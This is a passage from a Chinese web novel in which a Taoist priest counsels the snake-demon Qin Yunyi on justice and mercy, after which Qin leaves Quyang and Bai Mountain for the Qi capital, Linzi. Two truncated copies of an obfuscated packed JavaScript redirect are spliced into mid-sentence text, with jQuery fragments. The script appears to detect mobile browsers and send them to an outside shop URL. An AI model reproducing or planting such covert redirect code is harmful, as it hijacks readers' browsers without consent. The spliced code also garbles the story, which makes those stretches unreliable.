“或长于山野,守护一方水土生灵,维系平衡。”秦云意缓缓开口,他想到了自己和同伴。 “或精于变化,体悟红尘百态,于万象中明心见性。” “或堕于血食,以人命为资粮,贪口腹之欲,沦为只知杀戮之凶兽。” “最后,或……如我这般,虽为妖身,却怀仁心,明知不可为而为之,虽九死其犹未悔……” “正是。”道士笑了。 “那……妖身行人道……道长不觉得……荒谬么?‘非我族类,其心必异’,此乃世人常言。”秦云意喃喃自语。 “荒谬?呵呵……既然如此,那何又为‘族类’?是各自的这身皮囊?还是体内留下的血脉呢?” “皮囊?血脉?” “若论皮囊血脉,人族内部,同室操戈,兄弟阋墙……互相倾轧屠戮之事,自古至今,何尝少了?”道士指着自己,又指了指秦云意。 “我等人类的其心之‘异’,恐怕比施主妖族更甚——施主想必也见识到了这一切,故而也有所感。” “那何又为‘心之异同’?”秦云意反问道。 “‘心’之异同,本就不在出身皮囊,而在本心,在行止,在抉择。”道士的目光变得严肃起来。 “既然如此,施主既有此仁心,有此善行,又何必自困于妖、人之辨?画地为牢,徒增烦恼?” 秦云意如雷轰顶。 那既然如此,一切都说的通了。 秦云意深吸一口气,他忙压下心中翻腾的思绪,盯着道士的双眼,尝试着问出了纠缠内心更深的问题: “其实……不论妖人之别。道长,我这些日子所见,心中实在困惑。” 道士抬眼看他,示意他继续说。 33. 道士三言·其三 “第一……”秦云意斟酌着说辞。 “这第一问,是源自我这些日子。因为我走过的地方越多,我心中就越觉得……这世间,似乎并无真正的‘公道’可言。那曲阳城里,尚有律法条文可依,尚可据理力争,可出了城,我才发觉……” 他顿了顿。 “……我才发觉那纸面上的公道,是何等的脆弱!权贵视律法如无物,强者对弱者的欺凌随处可见。善未必得偿,恶未必得果。我在曲阳以为那官场便是最大的黑暗,如今方知,那不过是一角缩影罢了——若想这天地本就混沌一片,并无一个确切的公允悬于其上,那我……我手中若想寻求正义,又该如何去求呢?” 他望向道士,眼中是切切实实的迷茫,而非质问。 “施主心中所困惑的公道,究竟是何模样?”道士听完,没有直接回答,而是反问他道。 “……” “在施主眼里,庙堂之上,王公贵胄口中的公道,是维护社稷的法度纲常,在市井街巷,贩夫走卒心中的公道,或许是一手交钱,一手交货的诚信,也是杀人偿命,欠债还钱的道理——施主所见所感,亦非错觉,但在这层层‘公道’之上,或者说……之下,确乎还运行着一套更古老、更残酷的规则。” “是什么?”秦云意下意识追问。 “弱肉强食,适者生存。”道士艰难地吐出这八个字。 “此乃天地初开便有的铁律,无关善恶,只看强弱。七国烽烟,权贵倾轧,乃至曲阳城中那些蝇营狗苟……究其根本,皆逃不过此理。你所见官场龌龊,不过是这铁律披上了一层所谓‘文明’的外衣,在方寸之地重新上演了一遍罢了。” 秦云意痛呼一口气。 “然而。” 道士的声音转了一下,目光也亮了起来。 “正因如此,我等才更需在心中,持守住另一层‘公道’。” “另一层?”秦云意眼中困惑更甚。 “那便是人心所向之公道。纠其原因,只因那法度可被扭曲,承诺可被背弃,世道可沉沦,但人心深处,那对良善的本能向往,对暴戾的天然憎恶,对公平正义的那份渴望……这些火光,是风吹不灭,水淹不熄的——它们或许微弱,却从未真正断绝。” 他看向秦云意。 “施主之所以觉得世间无公道,是因你只看到了第一层,也就是最初那冰冷无情的丛林公道。施主为此绝望,实属自然,但莫要因此便看不见这第二层——在人心深处,那点点星火般的‘向善公道’,前者或许是许多人不得不面对的现实,而后者……才是我们还能走下去的理由啊。” 秦云意垂下眼眸。 “所以,施主……尺有所短,寸有所长,你手中那杆‘尺’,其首要丈量的,并非外间那个已然崩坏或充满不公的世道。它首先要量的,是你自己心中,那份对于‘善’的标准,和对‘公平’的期许,然后,施主再用这杆尺度,去量你目之所及、力所能及之处,再去做一些符合你心中公道模样的事——救一人,是一人,平一事,也是一事。” “可……这究竟能改变得了什么?杯水车薪,最后无非……是徒劳而已……!” “水滴石穿,非力大也,恒也。”道士笑了。 “今日,若在此地救下一人,此人心中或许便存下一念之善,明日你行一义举,那旁观者眼中或许便亮起一丝微光——最终,这杆‘尺’的意义,本就不在于一朝一夕丈量完天地,而在于一点一滴,将施主心中那点对‘善‘’与‘公’的坚持,刻进人的心中。” 语毕,秦云意沉默良久,火光照着他疲惫的面容,一段时间以后,他终于再次开口了,他决心向道士问出那个更具体的、日夜煎熬他的问题: “那么……请问道长,依此衡量,那又是哪些人当救,哪些人……不当救呢?” 他哽咽了一下,随后看向庙外漆黑的方向,他仿佛看到了之前那个垂死的年轻士兵。 “便如方才河谷中的兵卒,我今日耗力救他,他日伤愈,或许重披甲胄,再上沙场,那手中刀枪或许又会沾染上新的鲜血——若我今日之‘善举,来日是否反倒成了助长杀孽的‘恶因’?那这其中的界限,我又该如何把握?” 听完他的话,道士这次也沉默了许久。 “此问……贫道也曾于无数个日夜,反复叩问己心……”之后,他缓缓呼出一口浊气。 “那,施主,你可曾听过一个故事?说古时有一良医,悬壶济世,活人无数。一日,他路遇一重伤倒地的强人,仍施以援手,将其治愈。不料此人恶性不改,伤愈后重操旧业,竟劫杀了另一户善良人家。死者亲属悲愤之下,寻到医者质问:‘先生为何要救那豺狼之徒?’” 秦云意屏住呼吸。 “之后,医者只是答曰:‘我行医道,眼中只有伤患轻重,只问手中技艺能否挽回一命。至于此人愈后是行善还是为恶,那是他自己的抉择,也当由他自己承担因果——我的‘道’,是在于治病救人,而他在于杀人越货,因此各人有各人的路途,各人也需背负各人的结果……” “后来,机缘巧合之下,那强盗再次受伤,又落到医者手中,这次医者依旧救了他。于是又有人问:‘你明知他是恶人,为何还救?’那医者答曰:‘上一次我救他,他选择作恶,那是他的因果,这一次他受伤,我选择救治,这是我的道。若因他未来可能作恶,我便见死不救——那我和他,又有何异?’” 秦云意咬紧嘴唇。 “施主。”道士看着秦云意纠结不堪的面容。 “施主,你手中之尺,丈量的是当下你面对的情境与你的本心,而非那茫茫不可测的未来。救与不救,当问的应是:‘此刻,眼前这生命是否正在承受痛苦、濒临消亡?我是否力所能及?’至于他活下来之后,是拿起锄头还是刀剑,是诵经还是杀人……那是他接下来的路,是他的因果。倘若你因忧虑那不可知的未来,便扼杀了眼前——那么,你所执着的,恐怕便不再是公道与慈悲,而是掺杂了恐惧与算计的得与失,利与弊了。” “可……若我面对的,并非茫然未知的常人,而是确定无疑、正在行凶的恶徒呢?”秦云意开口了,他扶着胸口,呼吸急促。 “那若我面对的是那些以人为食的兵痞,炼制丹药的邪人……我对他们,又当是如何呢?” 道士盯着他,脸上慢慢露出一丝带着深意的微笑。 “施主,你此问,其实心中已有偏向了。”他笑着说。 “嗯?” “你用了‘确定无疑’,‘正在行凶’,‘恶徒’这之类的词语,这意味着,在你心中,你对此类情境的判断已然不同了:他们并非伤患,而是灾害。那此刻的问题,便从之前的‘救不救’,转变成了‘如何制止这伤害’了。” 秦云意愣住了。 “面对暴行,若自己有能力却袖手旁观,那与帮凶何异?这是止恶,这与方才所说的救死扶伤,便是两种不同的情境……但然而,若这行凶的恶徒,在争斗中同样身负重伤,奄奄一息,失去所有反抗之力……那时,才是真正的考验降临于此了——我等是任由天道循环、让其自受其果,还是秉持‘生命至上’的念想,再施援手?至于这道难题的答案……那就不在贫道口中,而在施主你的内心深处了。” 秦云意彻底沉默下来,他听懂了道士话语其中的区别,也知晓到了那内心深处更抉择的重量。 “那道长,这第三问,或许太大了些……可我实在想不明白,这天下,这世道,究竟为何会变成这般模样?!七国相争,烽火连年,百姓流离,权贵笙歌……那这一切苦难的根源,究竟是什么?难道仅仅只是……人心本恶吗?” 他急促地呼吸着,要知道,这是他盘旋心头最大的巨石,毕竟个别人的恶行或许可解,但整个时代的倾颓、亿万生灵的悲号,那又该归咎于何?天道吗?! 道士这次沉默了最久。 “施主……可曾静观过蚁群?”片刻后,他问了一个看似毫不相干的问题。 秦云意点了点头。 “两窝蚂蚁,为了一滴蜜露、一粒米屑,便能掀起惨烈战争,死伤无数……”道士安抚道。 “所以,在蚂蚁眼中,这是捍卫家园、争夺生机的生死之战,那么每一只蚂蚁都会奋勇向前,别无选择。可在路过的行人眼里,这或许只是尘土间一场微不足道的虫豸争斗,甚至无意一脚踏下,便是尸横遍野的事情。” “那施主以蚂蚁作比喻,且看这七国乱世,看这人间炼狱,心头涌起的荒谬、悲愤与不解……是否,自己也有些像那路过的行人,俯瞰着蚁群的厮杀?” “然而,若我们不是行人,而是那蚂蚁呢?” 秦云意新奇地看向他。 “若我们是蚂蚁,便不是那人类的视角,也就无法俯瞰,而是专注此局,只为眼前最紧要的生存而战……” “所以,这天下,其实也就如同万千蚁穴,故君王欲拓疆土以垂青史,权臣思揽大权以固荣华,将领求战功以图封爵,官吏刮地皮以饱私囊……便是那最底层的升斗小民,在饥寒与恐惧的逼迫下,为了活过明日,也可能做出背离本心之事。” “如此这般,若天下崩坏如此,那之后便无人能独力承受这滔天罪业,但人人皆在这洪流中,或主动或被动,推波助澜,一层欲望叠加一层恐惧,一次妥协引发更多堕落,环环相扣,最终……” 道士没有说完,只是缓缓摇头——这个故事里,包括他秦云意,也包括他这个道士。 每个人都困在其中。 “那我们……还能做什么呢?”秦云意问道。 “反抗。”道士铿锵有力地说出来两个词。 “反抗!当蚁群因争夺而疯狂撕咬时,我们反抗,选择收起自己的颚钳,当那粮道断绝、饥荒蔓延时,我们反抗,将口中仅存的食糜,分给身旁更弱小的同类,当倾巢之祸来临、梁柱崩摧时,我们反抗,用尽气力顶住一角——或许我们的所作所为终究改变不了蚁穴覆灭的命运,但至少,我们反抗了,或许,如有可能……因你的反抗,生命也会因此赢得喘息之机……” 反抗! 道士站了起来,他凝视着秦云意,一字一句,重若千斤。 “反抗,便是你手中‘尺度’的终极意义。到了最后,你手里那杆‘尺’,那杆“称”,最终要量的,不是什么天下大势,也不是什么兴亡因果,它就只是量一量你自己而已。它要量一量,在这没法讲道理、人人似乎都只能随波逐流的世道里,你——到底想做个什么样的人。之后,你每一次顺着自己心里那点‘善’和‘公’的念头去做事,哪怕再小,都是在这片混沌里,悄悄划下一道线……” “那这道线划给谁看呢?”道士像是自问,又像是问秦云意。 “这道线,最后不是划给天看,也不是划给那些看不见的‘公道’看,是划给你自己看的——去看,看这里还有条路!也是划给那些偶然路过、快要认命的人看,去看,原来这里还有条路,而且在其中,竟真的有人还在走!” “所以,当你把自己这条线划得足够清晰,站得足够稳当之后……你就是在告诉所有还能看见这条线的人:这世道还没全黑,因为还有人不肯闭上眼睛,还有人醒着,还有人不愿意睡下,他要反抗,他要成为一团火,一团光。” 秦云意看着他,他想说些什么,却张了张嘴,没有说出来,那道士看着他,看着他眼中仍未散尽的迷茫,没有不耐烦,只是轻轻叹了口气。 “施主是否在想,若只是独善其身地‘做好自己’,于这滔天浊世,又有何用?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153458|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 是的,这正是他秦云意心中所想。 “且看这火吧。” 道士用木棍轻轻拨动柴堆,一瞬间,火星飞溅。 “一根柴,独自燃烧,光亮有限,暖意也微,可若它燃得足够旺,足够久呢?那么离它最近的那根湿柴,或许就被烘干了,然后它自己,也慢慢烧了起来。” “所以,我们得像这根柴一样,先让自己烧起来,烧得正,烧得旺,那么你的光,你的热,就会温暖、照亮离你最近的人。” “那么,当你站在该站的地方,做了该做的事,说了该说的话后,你便在这片混沌中,立下了一足,立下了一个‘点’。” “只不过,这一点虽然渺小,本身不会翻天覆地。但施主,你可曾见过水面的涟漪?” 道士抬起茶碗,指尖在其中轻轻一触,那水面立刻就荡开一圈圈细微的波纹,泛起一阵涟漪。 “一点动了,波纹便散了,虽然小,或许只传到三步外,或许能传到十步外,可最重要的是,这个点,它确实动了,这个反抗念头,这个不甘的举动,它真的最后被实现了,于是,它成了一个可以被看见、被记住、被回想起来的事例。” “所以,当你成功了之后,若有人因你的善举活了下来,明日他或许便能传递另一个‘善’,今日有人见你心中有尺,,那明日他或许就会在心中,也悄悄立起一杆自己的‘尺’来。” “所以世道崩坏,从来不是一日之寒,而想要它好起来,也非一日之功,是长久之计——它需要无数个像你我这样的人,在无数个地方,立下无数个足,立下无数的点。虽然这些点不会立刻连成线,铺成面,改天换地。但它们会存在,会发光,会发热,会靠近,会合拢……而这些,便是‘公道’在人间,最笨拙,却也最坚实的生根之法了……” 道士说完了。 秦云意没有回答他的话,只是嘴唇微颤,他低下头,用手指抹了抹眼角——现在,他终于听懂了,什么星星之火,也可燎原,他什么都懂了。 “那……道长,最后一问……”他深吸一口气,声音因刚才的激动而微微颤抖,。 “那我……最终该往何处去呢?” 道士看着他,眼中那份欣慰的笑意更深了。 “路在脚下,尺在心中。施主此刻……还需贫道来指路么?” 秦云意笑了笑,之后,他微微摇了摇头。 那道士见状,也是微微颔首,随后缓缓站起身,走到那破庙门口,望向夜色,他背对着秦云意,抛出来了最后的点津: “施主可知,在这茫茫天地、渺渺乾坤之间,那昭昭‘正道’,并非人族一家独享之门径?” “什……么?” “上古之世,天地鸿蒙初开,神人未远。那时,名山大川自有其灵,江河湖海亦蕴其神——远比现在还多,其中亦有秉持正道、功德昭著的飞禽走兽,花草树木之灵,它们也可得天道感应、天庭敕封,享一方香火祭祀,名正言顺地归正,护佑万千生灵之安泰。” “贫道见施主也非凡妖,乃是蛟蛇,有羽无鳞之相,也是奇特之妖。故而贫道认为,只要施主心向光明,持身中正,践行正道,积累功德,同样也可得正统法脉传承,受天地清气庇佑。机缘若至,甚至有望得遇正神青眼,被接纳为记名弟子,或受仙真指点,踏上一条更为明晰、更为广阔的修行大道。倘若之后功德累积至厚,机缘契合无间,未来得窥仙班门径,或受敕封成为一方守护正神……此等前景,亦非镜花水月,空中楼阁!” …… 拜正神?修正法?以妖身累积功德,最终甚至可能……成神?! 秦云意瞪大瞳孔,这道长这番话,如同灯塔一般,瞬间驱散了秦云意心中积压的所有迷雾,若真的如此,那他就不再需要将自己扭曲塞入“人”的框架里苦苦挣扎,也不必退回山林只求独善其身的“逍遥”。他可以堂堂正正,以“秦云意”这个名字,作为独一无二的存在,走一条属于自己的正道了! “多……多谢道长!”秦云意猛地站起身,声音远比之前还要坚定,他对着眼前这位神秘的蓝袍道士,深深一揖,腰几乎都要弯成直角了。 道士呵呵一笑,他点点头,安然地受了他这一礼。 “施主不必多礼,贫道所言,古籍中不乏记载,也并非惊世骇俗之秘,只是施主此前心陷迷局,未曾得见罢了,不过,施主也需切记:既然尺有所短,那寸……也是有所长的啊……” 他的话语意味深长,语气凝重,就像是早已看穿了什么一样。 “多谢道长,秦某定当牢记道长教会。” 秦云意挺直身躯,无比认真地点头道。 “那么,如今,夜色已深,贫道还需折返河谷,看看那伤兵能否熬过此劫。施主,此番荒山破庙,浊茶夜话,亦是缘分,前程漫漫,山重水复,望施主珍重道体,好自为之。” 言罢,道士不再多语,他转过身,背起茶篓,拄着那根磨光的木棍,就这样踏入庙外沉沉的夜色之中,不一会,那身蓝衣很快便与黑暗融为一体,再无踪迹可寻。秦云意本想送他,但四周都不见其人影,他望着那身影消失的方向,伫立良久,许久未言。 …… 夜色深沉了。 秦云意站在门口,风吹着他的衣服,也吹着他的秀发,他目光看向远方,看向沙场,看向远处绵延不绝的山脉与天空,最后,他收回视线,转向望向方才道士身影消失的山道处,再次深深一揖。 礼毕,他直起身。 下一秒,玄黑的光芒在他周身流转,一条如蛟似蛇的巨大身影再次出现,它盘踞在山神庙前的空地上,微微昂起头颅,望向西北方——那是只有曲阳城所在的方向,他终于,做好决定了。 看来,是时候该真正地去告别了。 34. 临别 曲阳城酒楼上。 “秦先生……您,您不能走啊!您走了,咱们曲阳的天,可就真塌了啊!您走了之后,我,我们该怎么办啊?那些家伙,徐县丞,蓝主簿,郑县尉……那些吃人不吐骨头的家伙……哎呦,我们这群小老百姓,最后该怎么活啊!” 在这酒楼楼上,一并坐着四个人,周三、徐伯,李匠人和秦云意,此刻,那周三正喝得满脸通红,他一边哭诉,一边还抱着秦云意的胳膊不肯撒手,眼泪鼻涕蹭了对方一袖子。 “周三……”秦云意无奈道,他明摆着想挣脱,但雅间里实在太小,如若他一动,估摸着桌上大大小小的碗筷都会一并被弄下来。 “周三,你喝多了!快松开!你看看你,你现在在秦先生面前,究竟像什么样子!” 一旁的李匠人见周三如此这般,便立马走上前,拉住了他的衣服,呵斥他称。 “我不松!” 周三猛地甩开李匠人的手,红着眼吼着。 “李叔!你,你别跟我装糊涂!秦先生这一走意味着什么,你心里难道不清楚吗?如今秦先生在,老百姓还能被照顾一下,等他一走,西市尾的那些老弱病残,往后说不定连口刷锅水都喝不上啊!哎呀!” “那也不是秦先生一个人能做到的事情!如今秦先生有正事要办——周三,你别在这胡闹!”李匠人无奈地扯着周三的胳膊。 “什么,我胡闹?”周三气的大哭起来,这哇哇大叫的声音引得众人频频侧目,只不过,在这雅间之中,惟有徐伯既没看秦云意,也没看周三,沉闷着吃着饭,碗筷碰撞的叮当响。 他还在继续夹菜、吃饭,仿佛这一切的喧闹都和他无关,最要紧的,反而是填饱肚子而已。 “好了……周三……既然如此,你就把酒喝了吧。” 秦云意抽回周三抓着的袖子,随后慢慢拿起酒壶,给周三面前的空碗又斟满了酒。 “秦先生……你……” 周三愣了愣,看着秦云意那双沉静的双眼,顿时觉得酒醒了一半。 “先喝再说。”秦云意平静地回答。 周三看了看秦云意,又看了看周围默不吭声的两人,最终讪讪地松开了手,乖乖端起碗,咕咚咕咚,几声就把酒灌了下去,那劣酒的辛辣呛得他剧烈咳嗽起来,连脸都憋得通红。 “我走了,你们的日子会更难,我知道。”秦云意等他咳完了,才缓缓开口。 “那你觉得,但我在的时候,日子就好过很多了吗?那郑县尉照样横行,蓝主簿照样贪墨,该饿死的人,照样还在饿死,即便我护住了一个,一些,可在曲阳城外,每天,无时无刻不都有流民倒毙在路边,尸体被野狗啃食,前些日子我救下了被掳走的妇女儿童,可赵国边境,还有成千上万的妇女儿童正在遭受同样的命运。” 周三张了张嘴,没想到,秦云意抬手止住了他。 “既然曲阳是一座城,可天下有无数座城,你觉得我一个人守得住这一座吗?就算守住了,又能怎样?战火一起,一道军令,这里照样会变成焦土……” 语毕,秦云意听见李匠人重重叹了口气,此人收回了抓住周三的手,坐在自己的座位上,把脸埋进粗糙的手掌里,好像在哭泣。 徐伯还是在吃饭。 “所以,我觉得,我要走的路,已经不在这里了——我要去更大的地方,看更远的天,做到更大的位置,也许这样就能为众生找到一条不一样的路,也许……这样也可以找到一个让更多人不至于饿死、不至于被随意欺凌的法子了……”秦云意继续说。 “那我们呢?!你走了,我们就只能在这儿……等死吗?”周三嚎啕大哭。 “等死?呵……周三,你还记得我第一次见你的时候吗?”秦云意笑了。 “什……什么?” “那时你跟差役辩论,为了自己不被抓,反而拿出钱币贿赂他们。后来你又在码头当扛货手,和别人争抢同一大锅饭,那时的你,眼里只有今天能不能吃饱,明天能不能弄到酒钱这回事,至于别人的死活?你觉得,当时那又与你何干?” 听闻此话,周三的脸迅速涨红了,他想辩解,却一个字也说不出来。 “可现在的你……你不一样了,你会为不相干的陌生人而愤怒,会为百姓的存续发愁,会想着‘扛不住’,周三,你告诉我——你现在这样子,像是要‘等死’的人吗?” 周三彻底呆住了。 “要我说啊,周三,你们——最后的路,也都是自己走出来的。” 秦云意放下酒碗,之后,他伸出四根手指。 “你们现在有四个选择,第一,跟之前没什么区别,苟且偷生,干些蝇营狗苟的事情,能活一天是一天。” “第二,戴上家当,离开曲阳,往南走,现在北方边境战事吃紧,南边也许能找到稍微安稳些的地方。” “第三,挥霍无度,将家里的财产全部败光,今天吃完明天吃,最后实在没了,不行哪一天找个吉日,门口歪脖子树上吊死。” “第四……这第四的路最为难走,那就是留下来,做好事,做善事,尽己所能,挽救众生。” 之后,秦云意从怀中取出几个不起眼的灰色布袋,依次推到众人面前。 “里面有些散碎银钱,我捡的,不多,但够你们应急,或者……当盘缠。” “所以,有了这些钱,也有了我提供的这些路子,之后你们想选哪条,就该由你们自己定了……” “不过若选最后一条路,你们得记住我今日的话:世道再黑,心中也得有光,那欺压良善的事,别做,力所能及的善,也别躲。有人求到你头上,若能保全自己,那能帮一把,就帮一把。” “秦先生,既然您心意已决,那,李某祝您……保重,路上……记得千万小心。” 李匠人摩挲着秦云意递来的布袋,重重地叹了一口气。那周三也接了过去,低头看着里面沉甸甸的银子,眼泪立刻又涌了出来。 “秦先生……你对我们这么好,又做善事,又有善心——这才是我们舍不得你的原因啊!”他一把扑到桌子上,用袖子擦着眼泪。 “好了,好了,我又不是不回来。”秦云意安慰他。 在一旁,一直在吃米饭的徐伯终于转过头来了,他拿走了秦先生手中的银袋,小心翼翼地把他塞进了袖里,那一刻,他很想再继续说些什么,但千言万语,最终只化为了两个字: “珍重。”徐伯说。 秦云意点了点头,在桌上的饭菜被吃的干干净净之后,他站起身,没有说“后会有期”,也没有再多嘱咐什么,只是对三人微微颔首,便转身推开了雅间的门。 “走了。”他挥挥手。 门开合之间,外面酒楼嘈杂的划拳声、笑骂声、跑堂的吆喝声涌进来一瞬,随即又被隔绝在外,秦云意走在街上,回过头,看了那酒楼上恋恋不舍望着他的三人一眼,随后继续向前走。 当然,他还有一个地方他还得去——那就是白山。 “哎呀,螭君,好久不见——您终于回来了。” 回到那水潭边,秦云意一眼就看见了他的伙伴们,那石公正半浸在水中,悠哉悠哉的,还在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17153459|196473||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泡澡。 “嗯,我要走了。”秦云意淡淡地开口。 “什?什么?”石公从水中抬起头,“螭君是找到路子了?” 周围大小的妖怪闻声都赶来了。 “找到了,就在前不久的游历中,我遇见了一位道长,他……告诉了我一些话,让我明白了一件事——我们妖族,未必只有躲在深山或融入人间这两条路。” “道长?他说了什么?” “他说,上古之时,天地初开,规矩未定。”秦云意缓缓道来。 “说那时山川有灵,江河有神,便是飞禽走兽、草木精怪所化的精灵,只要心向正道、积德行善、护佑一方,也能得天地认可,受天庭敕封。” 众妖之间传来一阵低低的骚动,要知道,这些话语,对山中精怪而言,简直可以说是闻所未闻。 “敕封?像……像上面那些一样?”一只小妖怯生生地指指天空。 “正是。”秦云意点点头。 “那位道长还说,只要持身以正,践行正道,积累功德,即便是妖身,也有机会得正统法脉传承,受天地清气庇佑。机缘足够时,甚至可能被正神看中,收为记名弟子,踏上更光明的修行路。若是功德积累深厚,机缘契合……未来位列仙班,或者受封成为一方守护正神,都不是痴人说梦。” 听闻此言,众妖议论纷纷,有的不敢相信,有的眼中开始流露出向往。 “成……成神?”有妖问。 “是的,成神。所以之后,我要去齐国都城,那是个大地方,机会更多——有了这个路子,我们妖族就可以堂堂正正地走,不必拘泥于自己变成人,也不必永远躲在深山了……”秦云意点点头。 “那那位道长……他说的话,真的可信吗?”鸱问。 “我信,因为当初他看透了我的身份,却没有敌意,更重要的是……他说的这条路,确确实实让我找到了方向……” 秦云意转身看向众妖。 “那位道长最后还送我八个字,说是尺有所短,寸有所长。” “他的意思就是,我们妖族不必妄自菲薄,也不必好高骛远。守住本心,行力所能及的善事,积累点点滴滴的功德——而这,就是我们妖族在这乱世中,可以走、也应该走的路。” 石公缓缓点头,它庞大的身躯从水中完全站起, “那么,螭君既然找到了路,那就去走走,至于这白山,不仅有你的法阵,还有我们守着呢。”他笑了。 “话虽如此,只不过,前路艰险,人心叵测——螭君万事还需留意啊。”赤练游了过来。 “我知道了,谢谢诸位。”秦云意笑了笑。 之后,林影里再次传来细细簌簌的响动,这时有几只小妖探出头来,好奇又担忧地看着他,看着面前的秦云意。 “那,螭君……您还会回来吗?”一只长着长尾巴的小妖怯生生地问。 秦云意沉默了片刻。 “也许会,也许不会吧,但白山毕竟是我的家,你们也永远是我的同伴。” 他摇了摇头。 “不……我不可能不回来的。” “只不过,我走之后,山中大小事务,还赖诸位相互照应。诸位——莫要轻易涉足红尘,但若山中生灵有难,周围百姓遭劫……还请诸位,量力而行,能护则护。” 众妖纷纷点头。 “那,螭君何时出发?”豺狼问道。 “明日,明日出发。豺狼,若是白山还有妖怪未听闻我将行之事,你且告知一下。” 豺狼点点头,算是应下了。 35. 临淄城 第二日清晨,秦云意依约离开了曲阳,这次,他的目的地是千里之外的齐国都城:临淄。出乎意料的是,这一次,秦云意一没飞,二没爬,而是选择以人形徒步而行,一路走、一路看,这样一来,若遇力所能及之事,他便还顺手帮扶一二,也算积些人间的功德。 “哦?先生这一去,竟是来我们齐国的?” 一位马车夫好奇地打量着秦云意——这就是他在路上顺手帮助的人之一。相遇时,此人的马车双轮深陷泥淖,正束手无策,是秦云意寻来干草垫在轮下,加大了抓力,这才助其脱困。 “正是,先生是齐国人?”秦云意谦虚地问道。 “对喽,只是个跑货的。你若不嫌弃,后面货堆上还有空处——坐上来吧,我捎你一程。”马车夫潇洒一挥手。 “不过,那路引凭证,可得你自己想法子应付了,这个我可帮不上忙。”之后,他想了想,继续补充道。 “多谢先生,秦某自有办法。”秦云意拱手致谢。 就这样,秦云意搭上了这辆货车,一路颠簸辗转,又行了七八日,方才离开赵国,正式踏入齐国境内——平心而论,眼前这齐国,确实比赵国显得富庶安定许多了:沿途村落虽也朴实,偶见贫瘠,却未见饿殍遍野,官道上商旅车马络绎不绝,人声喧嚷,显出一派繁忙景象。 “先生,恕我冒昧,看你这身装扮,你是来游学的?” 马车夫无言许久,直到快要到齐国驿站时,他终于有点按耐不住了。 秦云意颔首称是。 “噢,游学,游学好啊,说道这个,咱齐地别的没有,就是学问挺多的,尤其是临淄城里那稷下学宫,人多到挤破头,所以,小哥你要是去临淄,我好心劝你一下,你要往城南那儿的‘学儿坊’去寻住处,那儿便宜。” “多谢先生指点,秦某记下了。” “要说我们齐国,那可是真敬重读书人,还有那些干活的——你瞧,你看周围粟米,咱齐国有鱼盐之利,土地肥沃,只要肯下力气,无论外来的是谁,都会饿不着肚子!” 那车夫扬鞭指了指路旁绵延的田野,语气里透着身为齐国百姓的骄傲与自豪。 “对喽,差点忘了,秦小哥,你进了城,也得多留个心眼。临淄啊,繁华不假,可暗地里的弯弯绕也是多的要命,有些地头蛇就爱找外乡人的麻烦,瞎显摆他们那些破威风。你啊,我教你,你遇事多忍让,实在不行,你在学宫,你就往稷下学宫那边跑,总有人帮你出头……” 说话间,马车速度渐缓,直到彻底停止,那马车夫从马背上跳了下来,把马拴好,走上那驿站口要了一碗豆羹,还顺便给秦云意捎了一碗。 “喏,这是我们齐国的特产,鱼汤底的豆羹,你也尝尝,今个我就送到这儿了,得等后头的货来交割——秦先生,咱们有缘再见。” 他将豆羹塞到了秦云意的怀里,挥了挥手。 “多谢先生连日照拂,这份情谊,秦某铭记在心。” 秦云意微笑着接过豆羹,但临走时,他却趁对方不注意,偷偷将自己背包里的银子放了一点在货物层中,还顺带写了一张字条,上面写着“曲阳城秦乐赠”。 好人嘛……毕竟还是得要有好报的。 剩下的日子里,秦云意依旧是那副游学士子的装扮,青衣小士,负笈而行,直至第十日清晨,那日,他刚离了驿舍走出不远,结果就在抬头远眺时,一座巍峨的城池就缓缓显现在眼前。 这就是齐国都城——临淄了,其城墙宛如巨兽之口,人群络绎不绝。 秦云意驻足于官道旁的高坡上,见此情景,竟驻足凝望良久。 “真是……好高的城墙……” 他见过曲阳的窘迫,见过肥邑的浮华,见过边境的疮痍,但眼前这座城,放眼望去,能带给他的依旧,恐怕只有震撼一词能够形容了。 日头渐高,他缓步下坡,汇入前往城门的人流。好消息,还是之前熟悉的模样,熟习的套路——“路引何在?”,“路引在此”,“前来做甚?”,“游学士子”……然后,他就被放行了。 秦云意走进了大门,心头只觉得这临淄城比肥邑还要繁华上百倍,除去之前在肥邑看见的景象之外,临淄的车马相比更是往来不绝,既有牛车吱吱呀呀拉着货物,装饰华贵的马车铜铃叮当驶过,偶尔还有鲜衣怒马的少年郎飞马前进,惹得路人纷纷避让,引来一片骂声和笑声。 “哎呦,公子,你可慢点走嘛。” 一旁,脂粉裹脸的妇人在店门前“咯咯”地笑着,她挥舞着手帕,向着那位策马奔驰的公子致意。 “大姨——明天记得跟莺儿说声,让她过来陪客!” 那少年郎俯下身,顺势将怀中的钱币抛向了妇人,后者连忙上前一步,看着钱币袋子安安稳稳地降落在手里,这才送了一口气。 “好嘞,公子,有空常来啊——”她笑着呼唤。 在一片祥和、欢庆的氛围里,秦云意走在路上,眼观六路,耳听八方,首先是嗅觉,他闻到那空气中混杂着各种气息,像焦香,酒气、脂粉香,和草药苦味,还有不知从哪条巷子传来的、若有若无的桂花香气…… 真是太多,太多了……一时居然都了解不完。所以,他索性在街口驻足,静静看着这幅活色生香的市井画卷。 临淄啊临淄,不愧为七国中最富庶的都城。 